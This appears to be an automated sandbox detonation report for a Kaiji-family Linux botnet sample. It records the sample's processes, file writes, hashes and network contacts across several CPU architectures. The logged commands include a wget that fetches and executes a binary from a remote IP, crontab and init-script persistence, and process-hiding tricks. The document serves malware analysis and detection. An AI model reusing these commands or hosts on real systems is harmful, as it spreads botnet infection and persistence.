[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/bin/systemctl
[systemctl -p Triggers show uuidd.socket]
/usr/local/sbin/systemctl
[systemctl start cron.service]
/usr/local/bin/systemctl
[systemctl start cron.service]
/usr/sbin/systemctl
[systemctl start cron.service]
/usr/bin/systemctl
[systemctl start cron.service]
/sbin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sleep
[sleep 60]
/bin/sleep
[sleep 60]
Network
| Country | Destination | Domain | Proto |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| US | 34.234.112.35:443 | tcp | |
| AU | 1.1.1.1:53 | ingress.openshift.gnome.org | udp |
| US | 34.234.112.35:443 | ingress.openshift.gnome.org | tcp |
| US | 154.40.47.248:8000 | 154.40.47.248 | tcp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 84.17.50.8:443 | tcp | |
| AU | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| AU | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 84.17.50.8:443 | 1527653184.rsc.cdn77.org | tcp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| US | 154.40.47.248:888 | tcp |
Files
/tmp/linux_amd64
| MD5 | 4a67fbaac9ab2555654663e56ad125a1 |
| SHA1 | d6dbe82c06c8bd5b83eea3daa26605b10c4e4457 |
| SHA256 | c09b6758cad544622f1a8a0e5edb64af4b952eb95ae94dcfe20fc1af2a9ab7e4 |
| SHA512 | 7a88709312bfdf50b3900abeab5e916fcbb63e773b58e158b557f239d1e8b861c4294dd86cfec80e4baf199fcb606d484da991c7b42594ec8999f945a4afb154 |
/etc/.walk
| MD5 | 7b6092eb341d814a12c0772fcbd2e4c5 |
| SHA1 | af07165fcaecae523111049ad61a67eff08183ec |
| SHA256 | 07520ca9930e4658a481259f546f4ec55912d7968b019441fc18309d23c29f97 |
| SHA512 | 0365451fae150c11bda418fea8c993e8ca6528b0818a78e1c4b91757e5fb458499cc2d4ac7dacb4725082686d2d6c88cb46f2676f4961e757fa57d36464d91a6 |
/etc/.walk
| MD5 | 9835effe62d8a1b41f6a6cd8057fd113 |
| SHA1 | 71145150b1d03bfb36f277f7604c539442c30c05 |
| SHA256 | a3834cd0bd816bc3b28e9d2cc3dca12af6d717c3a94ee35d4ef5e0e4d6e635a0 |
| SHA512 | 6b6e99977dff5c41e96e2c54e2326a562ff762fae54a472205aad3bf069bb6b3c0a1948840e65e9260c44794e1f19f47eceb6c44cc9a09f61f19dbe73930b47f |
/etc/32676
| MD5 | 585f408444cbca746945f0cb63f2c3f0 |
| SHA1 | 0e44bae17174f04514e770ca7fc4bec1007e39cd |
| SHA256 | ebb961c647363dfa90f302de378e0e61807b9b792fc86616635a713cca8f4299 |
| SHA512 | 022241dbafad55164701f67ef5b84154e3af97c5dfe77dee7bf8406f2befbd2962bbf4f243432b2f41d6c2376b87fcf551fd6945e03ddb02a5619c2f0f69c596 |
/.mod
| MD5 | f5a3713282e43c200f30342f5ff5e2ea |
| SHA1 | 2b2ce1a207e2b691a074c6f78f71c4785aae426a |
| SHA256 | 6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511 |
| SHA512 | 5bcb8cd360409147a486755f90e0cdd97183af02ce8de5135b7c6a8a010deb9ef12dcd5ee9a2a8fd2e159347f68e72d6b7fd75e943b4fcd928d7a74b97476013 |
/usr/bin/include/find
| MD5 | f11b2b59639b1edcb46026472786c747 |
| SHA1 | a6fe59e11456bc7f19e28b38aa9c1f9c1a13b70d |
| SHA256 | 189fbf2416c8205430d8eaa85e2947bc15504ca335ad4a77ec668ff3cbf9c84a |
| SHA512 | 1967f43b4b274e2afbc30e8e1bad314085e488066b22233e6ec033dbae10ae111320296b9d429e94cb3079636a37e433aeac928b4ef23a56dedae1741815416b |
/usr/bin/include/lsof
| MD5 | e093dc78225e2a0a25e3b137c1c1e442 |
| SHA1 | c29497cfaae729eb576875e4fdfa400640ab16be |
| SHA256 | 1190f4dbc7be174de8fd4096c9bf7a28eebfac937d308b7cc533be4a1240d26e |
| SHA512 | fe1cc7a65327732eaaee89f427c10239ba822430e34177842f4681068d78d404b1830d808a2a71b1efcc5f126c6d8c053512237421173aaa150e215a672da6f0 |
/etc/profile.d/gateway.sh
| MD5 | fd68e894a07448b5229049cfad5ca5c8 |
| SHA1 | 85f443429161fa1c111d69b308fd6d744cdef85c |
| SHA256 | 7d5fd87e6a3a6a9fe3783eeef0dd9fae0d412abbd625daed9dc06f6d7438e384 |
| SHA512 | d5f6213e3c361563f3ad318e3454c80e47ef19bcdbd8fa1875a3e83179e2091c2bd913c623322bc19c5064dfd09c8c2919cf68fcbd898d62e7d872cc7b6b17e3 |
Analysis: behavioral2
Detonation Overview
Submitted
2025-04-16 18:46
Reported
2025-04-16 18:49
Platform
debian9-armhf-20240418-en
Max time kernel
149s
Max time network
148s
Command Line
Signatures
Kaiji
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Kaiji family
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/linux_arm7 | /tmp/download.sh | N/A |
| N/A | /tmp/linux_arm7 | /tmp/linux_arm7 | N/A |
| N/A | /etc/32676 | /bin/sh | N/A |
Modifies Watchdog functionality
| Description | Indicator | Process | Target |
| File opened for modification | /dev/watchdog | /tmp/linux_arm7 | N/A |
| File opened for modification | /dev/misc/watchdog | /tmp/linux_arm7 | N/A |
Creates/modifies Cron job
| Description | Indicator | Process | Target |
| File opened for modification | /etc/crontab | /bin/sh | N/A |
Creates/modifies environment variables
| Description | Indicator | Process | Target |
| File opened for modification | /etc/profile.d/bash_cfg | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/profile.d/bash_cfg.sh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/profile.d/gateway.sh | /tmp/linux_arm7 | N/A |
Enumerates running processes
Modifies init.d
| Description | Indicator | Process | Target |
| File opened for modification | /etc/init.d/kmod | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/sudo | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/alsa-utils | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/cron | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/hwclock.sh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/networking | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/ssh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/udev | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/auditd | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/console-setup.sh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/keyboard-setup.sh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/procps | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/rsyslog | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/selinux-autorelabel | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/x11-common | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/dbus | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/init.d/exim4 | /tmp/linux_arm7 | N/A |
Write file to user bin folder
| Description | Indicator | Process | Target |
| File opened for modification | /usr/bin/include/find | /tmp/linux_arm7 | N/A |
| File opened for modification | /usr/bin/find | /tmp/linux_arm7 | N/A |
Modifies Bash startup script
| Description | Indicator | Process | Target |
| File opened for modification | /etc/profile.d/bash_cfg.sh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/profile.d/gateway.sh | /tmp/linux_arm7 | N/A |
| File opened for modification | /etc/profile.d/bash_cfg | /tmp/linux_arm7 | N/A |
Changes its process name
| Description | Indicator | Process | Target |
| Changes the process name, possibly in an attempt to hide itself | ksoftirqd/0 | /tmp/linux_arm7 | N/A |
Command and Scripting Interpreter: Unix Shell
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
| N/A | N/A | /bin/sh | N/A |
Enumerates kernel/hardware configuration
| Description | Indicator | Process | Target |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_arm7 | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_arm7 | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/301/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/816/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/sed | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/635/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/637/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/588/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/814/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/807/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/727/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/847/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/630/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/720/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/849/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/mount | N/A |
| File opened for reading | /proc/314/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/854/stat | /tmp/linux_arm7 | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/linux_arm7 | /usr/bin/wget | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/bin/rm
[rm -f linux_arm7]
/usr/bin/wget
[wget -t 1 http://154.40.47.248:8000/linux_arm7]
/bin/chmod
[chmod +x linux_arm7]
/tmp/linux_arm7
[./linux_arm7]
/tmp/linux_arm7
[./linux_arm7 ]
/bin/rm
[/bin/rm /tmp/download.sh]
/bin/sh
[/bin/sh -c /etc/32676&]
/usr/sbin/service
[service crond start]
/etc/32676
[/etc/32676]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/sleep
[sleep 60]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/usr/local/sbin/systemctl
[systemctl start crond.service]
/usr/local/bin/systemctl
[systemctl start crond.service]
/usr/sbin/systemctl
[systemctl start crond.service]
/usr/bin/systemctl
[systemctl start crond.service]
/sbin/systemctl
[systemctl start crond.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sh
[/bin/sh -c echo "*/1 * * * * root /.mod " >> /etc/crontab]
/usr/bin/renice
[renice -20 720]
/bin/mount
[mount -o bind /tmp/ /proc/720]
/usr/sbin/service
[service cron start]
/usr/bin/basename
[basename /usr/sbin/service]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/usr/local/sbin/systemctl
[systemctl start cron.service]
/usr/local/bin/systemctl
[systemctl start cron.service]
/usr/sbin/systemctl
[systemctl start cron.service]
/usr/bin/systemctl
[systemctl start cron.service]
/sbin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sleep
[sleep 60]
/bin/sleep
[sleep 60]
Network
| Country | Destination | Domain | Proto |
| US | 154.40.47.248:8000 | 154.40.47.248 | tcp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| US | 154.40.47.248:888 | tcp |
Files
/tmp/linux_arm7
| MD5 | 9c069085ca52a2acca2bf52f1171a7da |
| SHA1 | 5c6a4714a083dcb6a44adb2043705d65a4ec61ad |
| SHA256 | 1934d283e13ddcbe0c1c85e4d41d7c27a1261b0f0d9302451b042952e2708a3e |
| SHA512 | 07a87d09d1711c23b95a904d47aa003dfca41fde7af2b3e220bf1dc8f4a4ae4c4ddb2394150652ac50afde4810250418172fdeb7859a664751be5e80354e5034 |
/etc/.walk
| MD5 | dc6394a4d22242b33f9d43a96ffe3502 |
| SHA1 | 54824f7e446db91a6670d0d552d0ff41d767e9d1 |
| SHA256 | e922d8377bf3bf26579efe87cdda038e2f10c5e597b2aba7677bc921bd848215 |
| SHA512 | 1ea735fd1abaf67eecadec35a04763a836fe11674d38976ef076883207d1708097e0dd8371e91c30a8fa2c0525da0dc2ba703b30497b279c0206e6ffcb88dd0d |
/etc/.walk
| MD5 | 6179c060af048542f9426ec07bd2d841 |
| SHA1 | ab4421ac24e1481d4334862e7ceb979144d3535a |
| SHA256 | c742581cef7f919ce2516918c50022ad11da00889fff78bceed7d36f456c1b45 |
| SHA512 | 2ebf226a7c6e8cf252bd216036ea983fb67ba244d9a2bdb5c8d202e80a5a6feeb5d6915def4be9894d0b6acdbb85ad0177a9aac7cb2e819d340b5bb316d2c00f |
/etc/32676
| MD5 | 585f408444cbca746945f0cb63f2c3f0 |
| SHA1 | 0e44bae17174f04514e770ca7fc4bec1007e39cd |
| SHA256 | ebb961c647363dfa90f302de378e0e61807b9b792fc86616635a713cca8f4299 |
| SHA512 | 022241dbafad55164701f67ef5b84154e3af97c5dfe77dee7bf8406f2befbd2962bbf4f243432b2f41d6c2376b87fcf551fd6945e03ddb02a5619c2f0f69c596 |
/.mod
| MD5 | f5a3713282e43c200f30342f5ff5e2ea |
| SHA1 | 2b2ce1a207e2b691a074c6f78f71c4785aae426a |
| SHA256 | 6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511 |
| SHA512 | 5bcb8cd360409147a486755f90e0cdd97183af02ce8de5135b7c6a8a010deb9ef12dcd5ee9a2a8fd2e159347f68e72d6b7fd75e943b4fcd928d7a74b97476013 |
/usr/bin/include/find
| MD5 | 138a27d6fe52fa1132760a4fa48922e0 |
| SHA1 | e0250e4d7bf33a5a1064344224148b889cb15138 |
| SHA256 | 81a10dad907b23521461bd3fc83c2cedb2218933a328d9a05e3c9f6a9a1d42aa |
| SHA512 | ee0078afad63fc2aaffdebb7127d1c7d4459287fee75358f57c82d397c39b7bf64338fb6996dfb1747cd9a896d714b3c76f0948727be91550f1affa1c0298a9e |
/etc/profile.d/gateway.sh
| MD5 | 522cadedcca724421b27f68657bd69b0 |
| SHA1 | b42741c0734f3662d0a0c2690b7ef6414bcda4e0 |
| SHA256 | 836cd5eee60bdb3444bc37e4a3a4db97791b55f86f7e416718c909522a93ebe8 |
| SHA512 | 1ce9b1814deb5a51f6945739c66207ba2eea139b567073e4e9c63eeedf37c327f4ac87f8adc0db6eb96a483e2621d13e663e492e2d71191537e807b38e2c9b35 |
Analysis: behavioral3
Detonation Overview
Submitted
2025-04-16 18:46
Reported
2025-04-16 18:49
Platform
debian9-mipsbe-20240729-en
Max time kernel
150s
Max time network
148s
Command Line
Signatures
Kaiji
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Kaiji family
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/linux_mips | /tmp/download.sh | N/A |
| N/A | /tmp/linux_mips | /tmp/linux_mips | N/A |
| N/A | /etc/32676 | /bin/sh | N/A |
| N/A | /tmp/linux_mipsel | /tmp/download.sh | N/A |
Creates/modifies Cron job
| Description | Indicator | Process | Target |
| File opened for modification | /etc/crontab | /bin/sh | N/A |
Changes its process name
| Description | Indicator | Process | Target |
| Changes the process name, possibly in an attempt to hide itself | ksoftirqd/0 | /tmp/linux_mips | N/A |
Command and Scripting Interpreter: Unix Shell
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
| N/A | N/A | /bin/sh | N/A |
Enumerates kernel/hardware configuration
| Description | Indicator | Process | Target |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_mips | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/kernel/mm/transparent_hugepage/hpage_pmd_size | /tmp/linux_mips | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
| File opened for reading | /sys/fs/kdbus/0-system/bus | /bin/systemctl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/mount | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
